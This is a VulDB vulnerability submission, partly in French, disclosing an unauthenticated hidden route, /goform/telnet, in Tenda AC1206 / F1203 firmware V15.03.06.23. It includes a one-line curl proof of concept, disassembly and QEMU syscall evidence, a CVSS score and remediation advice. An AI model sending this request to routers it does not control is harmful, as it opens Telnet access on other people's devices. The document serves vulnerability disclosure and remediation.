Soumettre #894235: Tenda AC1206 V1.0 RTL / F1203-class web UI V15.03.06.23 Missing Authentication for Critical Function&Missing Authorizati

Tenda `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01` firmware and F1203-class variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` expose a hidden web form route, `/goform/telnet`, that is reachable without a Cookie/session when the device is in the factory-default empty-password state. Hitting the route invokes `TendaTelnet`, which runs `killall -9 telnetd` and then constructs `telnetd -b %s &` from `lan.ip` before returning `load telnetd success.`.

This gives a network-adjacent unauthenticated attacker a one-request path to enable the Telnet service before the administrator has configured a web password.

## Affected target

- Vendor: Tenda
- Product: AC1206 V1.0 RTL / F1203-class web UI
- Confirmed affected firmware variants:
1. `US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.zip`
- Firmware SHA256: `b12aeaad77108fd856a62a943b3d5ae5d137f7f22b43d45c9671f929f4c3a352`
- `/bin/httpd` SHA256: `5c6330ab898620f25009d1dc5fa4046e2ca7c3beacf3cdbbf9b12a4e028b5661`
2. `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip`
- Firmware SHA256: `9ae57c968a075246876dc45c4ce3e5c75bc477899932187d169edfec3549354a`
- `/bin/httpd` SHA256: `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`
- Version string in both `httpd` binaries: `V15.03.06.23`
- Binary: `/bin/httpd`
- Architecture: MIPS32 little-endian uClibc, not stripped, with debug info

## Vulnerability class

- CWE-306: Missing Authentication for Critical Function
- CWE-862: Missing Authorization
- Type: Hidden Telnet enablement in factory-default empty-password state
- Status: Confirmed
- Authentication: Unauthenticated when no admin password is configured

## Proof of concept

```sh
curl -i --path-as-is http://<router>/goform/telnet
```

Expected response:

```text
load telnetd success.
```

Expected backend effect on real firmware runtime:

```text
killall -9 telnetd
telnetd -b <lan.ip> &
```

## Key evidence

### Route registration

`formDefineTendDa` registers the route directly:

```text
name=telnet -> TendaTelnet
```

Evidence file:

```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/formDefineTendDa.registrations.txt
```

### Authentication boundary

`R7WebsSecurityHandler` contains explicit comparisons for `/goform/telnet` and `/goform/ate` before normal Cookie/password handling. In the factory-default empty-password state, these paths reach the form handler without requiring a `password=` Cookie.

Evidence file:

```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/R7WebsSecurityHandler.annotated.txt
```

Relevant static evidence:

```text
004351bc ... '/goform/telnet'
004351cc ... CALL strncmp
004351e8 ... '/goform/ate'
004351f8 ... CALL strncmp
00435258 ... 'password='
00435264 ... CALL strstr
```

### Telnet command execution path

`TendaTelnet` retrieves `lan.ip`, kills existing `telnetd`, starts a new Telnet daemon, and writes a success response.

Evidence file:

```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/TendaTelnet.annotated.txt
```

Relevant static evidence:

```text
GetValue('lan.ip')
system('killall -9 telnetd')
doSystemCmd('telnetd -b %s &')
websWrite('load telnetd success.')
```

### Dynamic validation

The firmware `httpd` was executed inside the existing `firmrec-idirect` Docker container under QEMU/chroot. The test binary was patched only to bypass hardware/CFM boot blockers and bind the lab instance to `127.0.0.1`; authentication and form handlers were not patched.

Dynamic HTTP proof:

```text
GET /goform/telnet HTTP/1.1
Host: 127.0.0.1

load telnetd success.
```

QEMU syscall trace shows the request reaches the command execution path:

```text
execve('/bin/sh', {'/bin/sh','-c','killall -9 telnetd', ...})
execve('/bin/sh', {'/bin/sh','-c','telnetd -b &', ...})
execve('/bin/sh', {'/bin/sh','-c','cfm Post netctrl 19?op=14,wl_rate=24,index=1', ...})
send(..., 'load telnetd success.', 21, ...)
```

`Exec format error` in the trace is a QEMU/chroot artifact caused by guest MIPS `/bin/sh` execution in this lab. The important validation point is that unauthenticated HTTP input reaches the backend command construction/execution calls and receives the success body.

Dynamic evidence files:

```text
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/httpd_patched5_strace.out
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl6_telnet_strace.stderr
/root/RUN_3FW_TENDA_UNDONE_0DAY_20260710/manual_audit/tenda_us_ac1206/dynamic/apmib_bypass_test/curl6_telnet_strace.body
```

### Additional affected firmware variant validation

The same `/goform/telnet` issue was independently confirmed on firmware variant `3776a3c70e0693ffb7c3b7a32aa9379536da1d84.zip` (`httpd` SHA256 `1f0ba15df83d20398218d7013c7106abab693ac740aa1c52db2c305365d1e04f`). The runtime copy was patched only for hardware/CFM boot blockers and lab bind address; authentication and form handlers were not patched.

Dynamic HTTP proof for the variant:

```text
GET /goform/telnet HTTP/1.1
Host: 127.0.0.1

load telnetd success.
```

QEMU syscall trace for the variant reaches the same command execution path:

```text
execve('/bin/sh', {'/bin/sh','-c','killall -9 telnetd', ...})
execve('/bin/sh', {'/bin/sh','-c','telnetd -b &', ...})
send(..., 'load telnetd success.', 21, ...)
```

## Impact

An attacker on the management/LAN network can enable Telnet before web-admin password setup. If Telnet authentication is weak/default or otherwise shared with device credentials, this may lead to full device compromise. Even without immediate shell login, enabling an unintended management daemon increases attack surface and persistence risk.

## Severity

CVSS 3.1: `CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` ? 8.8 High

Rationale: LAN-adjacent attack vector, no privileges, no user interaction, critical management service enablement. If the affected deployment exposes the web UI beyond LAN, severity becomes network-equivalent critical.

## Remediation

- Remove `/goform/telnet` from production builds or compile it behind a physical/factory-only gate.
- Require an authenticated admin session for all management/service-control routes, including first-run states.
- Disable Telnet entirely or replace with explicitly opt-in SSH with strong credential setup.
- Add regression tests for hidden `/goform/*` routes before release.

• La source: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/TENDA-AC1206-TELNET-DEFAULT-UNAUTH-001-vulndb.md
• Utilisateur: ST4R0003 (UID 99608)
• Soumission: 17/07/2026 19:07 (il y a 1 mois)
• Modérer: 30/08/2026 19:42 (1 month later)
• Statut: Accepté
• Entrée VulDB: 397181 [Tenda AC1206 15.03.06.23 Web UI /goform/telnet TendaTelnet authentification faible]
• Points: 20